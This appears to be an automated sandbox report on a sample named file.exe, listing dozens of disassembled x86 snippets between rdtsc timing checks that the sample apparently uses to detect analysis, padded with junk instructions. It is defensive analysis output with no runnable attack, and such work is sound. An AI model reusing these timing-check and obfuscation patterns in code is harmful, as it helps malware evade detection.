Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B076 second address: 80B0A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB869324F1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jp 00007FB869324F16h 0x00000012 jmp 00007FB869324F22h 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D06A second address: 80D0EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push ecx 0x00000007 push esi 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop esi 0x0000000b pop ecx 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007FB8686220C8h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D255Dh], esi 0x0000002d push 00000000h 0x0000002f mov edi, ecx 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ebp 0x00000036 call 00007FB8686220C8h 0x0000003b pop ebp 0x0000003c mov dword ptr [esp+04h], ebp 0x00000040 add dword ptr [esp+04h], 00000017h 0x00000048 inc ebp 0x00000049 push ebp 0x0000004a ret 0x0000004b pop ebp 0x0000004c ret 0x0000004d push eax 0x0000004e mov ebx, dword ptr [ebp+122D2890h] 0x00000054 pop ebx 0x00000055 xchg eax, esi 0x00000056 jmp 00007FB8686220CDh 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007FB8686220D5h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D0EE second address: 80D0F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D0F4 second address: 80D0F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D374 second address: 80D378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D378 second address: 80D37C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812E60 second address: 812E8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB869324F23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f jne 00007FB869324F1Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8172B7 second address: 8172BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8172BD second address: 8172F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FB869324F21h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB869324F28h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8172F1 second address: 8172F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8172F5 second address: 817317 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB869324F28h 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A9CD second address: 81A9F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB8686220D5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A9F6 second address: 81AA00 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB869324F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81AA00 second address: 81AA26 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnc 00007FB8686220C6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push ecx 0x0000000f push edx 0x00000010 jnc 00007FB8686220C6h 0x00000016 pop edx 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push edx 0x0000001f js 00007FB8686220C6h 0x00000025 pop edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B3EE2 second address: 7B3EE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B3EE7 second address: 7B3EF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FB8686220C6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822404 second address: 822420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnl 00007FB869324F1Ch 0x0000000d jne 00007FB869324F32h 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822420 second address: 822429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822429 second address: 82242D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82242D second address: 822431 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822599 second address: 8225B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 jmp 00007FB869324F22h 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822732 second address: 822741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007FB8686220C6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822741 second address: 822745 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822A0D second address: 822A1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB8686220C6h 0x0000000a pop edi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822A1B second address: 822A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB869324F1Ah 0x00000009 jo 00007FB869324F16h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822A30 second address: 822A3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FB8686220C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822F56 second address: 822F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822F5C second address: 822F60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822F60 second address: 822F64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822F64 second address: 822FBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FB8686220D3h 0x0000000e jmp 00007FB8686220CFh 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 pop ecx 0x0000001a jc 00007FB8686220E4h 0x00000020 jl 00007FB8686220C6h 0x00000026 jmp 00007FB8686220D8h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 827727 second address: 827756 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB869324F25h 0x00000007 jmp 00007FB869324F21h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 827756 second address: 82775B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82775B second address: 827774 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FB869324F24h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 827886 second address: 82788C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 827CD2 second address: 827CDC instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB869324F16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 827E16 second address: 827E2E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FB8686220CFh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 827E2E second address: 827E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB869324F1Fh 0x0000000e jmp 00007FB869324F1Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 827E51 second address: 827E70 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnp 00007FB8686220C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FB8686220D3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 827E70 second address: 827E77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828401 second address: 828405 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82858C second address: 8285A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB869324F24h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8285A5 second address: 8285AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8285AC second address: 8285B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8285B2 second address: 8285BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8285BB second address: 8285BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8285BF second address: 8285D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8285D6 second address: 8285DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8285DA second address: 8285E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828B6C second address: 828B72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D6D1 second address: 82D6D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D6D7 second address: 82D6F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB869324F28h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D6F9 second address: 82D70F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8686220D2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D875 second address: 82D88A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FB869324F1Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82DA2E second address: 82DA3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FB8686220C6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82DA3B second address: 82DA49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB869324F16h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82DA49 second address: 82DA74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FB8686220CCh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB8686220D0h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82DA74 second address: 82DA78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82DA78 second address: 82DA86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FB8686220D2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82DA86 second address: 82DA90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB869324F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82DA90 second address: 82DA98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82DD6D second address: 82DD7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jo 00007FB869324F16h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82DEE3 second address: 82DEF6 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB8686220C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b js 00007FB8686220C6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D445 second address: 82D466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB869324F1Fh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c pushad 0x0000000d jp 00007FB869324F16h 0x00000013 push eax 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82E4DA second address: 82E4E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83AF4F second address: 83AF59 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB869324F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83AF59 second address: 83AF5E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB5D8 second address: 7FB616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jng 00007FB869324F16h 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 pop eax 0x00000013 nop 0x00000014 mov dh, A6h 0x00000016 mov ecx, 7752C386h 0x0000001b lea eax, dword ptr [ebp+1249034Eh] 0x00000021 jo 00007FB869324F18h 0x00000027 mov cl, ah 0x00000029 push eax 0x0000002a pushad 0x0000002b jmp 00007FB869324F1Fh 0x00000030 push eax 0x00000031 push edx 0x00000032 push ebx 0x00000033 pop ebx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB616 second address: 7D6CC4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007FB8686220CDh 0x0000000f and dx, F4D0h 0x00000014 call dword ptr [ebp+122D2A5Bh] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jc 00007FB8686220C6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBA09 second address: 7FBA0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBA0D second address: 7FBA13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBA13 second address: 7FBA18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBA18 second address: 63EE0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a jc 00007FB8686220CCh 0x00000010 mov dword ptr [ebp+122D3AD3h], edx 0x00000016 push dword ptr [ebp+122D1299h] 0x0000001c and dh, FFFFFF83h 0x0000001f mov ecx, esi 0x00000021 call dword ptr [ebp+122D3ACEh] 0x00000027 pushad 0x00000028 jc 00007FB8686220DCh 0x0000002e jmp 00007FB8686220D6h 0x00000033 xor eax, eax 0x00000035 sub dword ptr [ebp+122D3AC9h], edx 0x0000003b ja 00007FB8686220CCh 0x00000041 mov dword ptr [ebp+122D3CC6h], edx 0x00000047 mov edx, dword ptr [esp+28h] 0x0000004b stc 0x0000004c mov dword ptr [ebp+122D2EACh], eax 0x00000052 add dword ptr [ebp+122D3AC9h], edx 0x00000058 cmc 0x00000059 mov esi, 0000003Ch 0x0000005e or dword ptr [ebp+122D3AC9h], ecx 0x00000064 xor dword ptr [ebp+122D23F7h], ecx 0x0000006a add esi, dword ptr [esp+24h] 0x0000006e stc 0x0000006f lodsw 0x00000071 add dword ptr [ebp+122D2A1Fh], eax 0x00000077 add eax, dword ptr [esp+24h] 0x0000007b jmp 00007FB8686220CBh 0x00000080 mov ebx, dword ptr [esp+24h] 0x00000084 pushad 0x00000085 mov dword ptr [ebp+122D3D49h], ebx 0x0000008b or al, FFFFFFEEh 0x0000008e popad 0x0000008f push eax 0x00000090 push eax 0x00000091 push edx 0x00000092 push esi 0x00000093 ja 00007FB8686220C6h 0x00000099 pop esi 0x0000009a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBAA5 second address: 7FBAAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBAAB second address: 7FBACA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB8686220D0h 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBACA second address: 7FBAD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBAD0 second address: 7FBB09 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB8686220CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f jmp 00007FB8686220D7h 0x00000014 pop eax 0x00000015 mov eax, dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 jnp 00007FB8686220CCh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBB09 second address: 7FBB0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBB0D second address: 7FBB5B instructions: 0x00000000 rdtsc 0x00000002 je 00007FB8686220CCh 0x00000008 jne 00007FB8686220C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 jmp 00007FB8686220CAh 0x00000019 pop eax 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007FB8686220C8h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 00000018h 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 sbb ch, FFFFFFE1h 0x00000037 mov edi, eax 0x00000039 push BB627E00h 0x0000003e push eax 0x0000003f push edx 0x00000040 push ecx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBB5B second address: 7FBB60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBC57 second address: 7FBC78 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB8686220D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC2CF second address: 7FC340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 popad 0x0000000a push eax 0x0000000b jbe 00007FB869324F2Ch 0x00000011 nop 0x00000012 mov ecx, eax 0x00000014 push 0000001Eh 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007FB869324F18h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 movsx edx, bx 0x00000033 mov dl, BCh 0x00000035 nop 0x00000036 jnp 00007FB869324F24h 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 jg 00007FB869324F16h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC340 second address: 7FC346 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
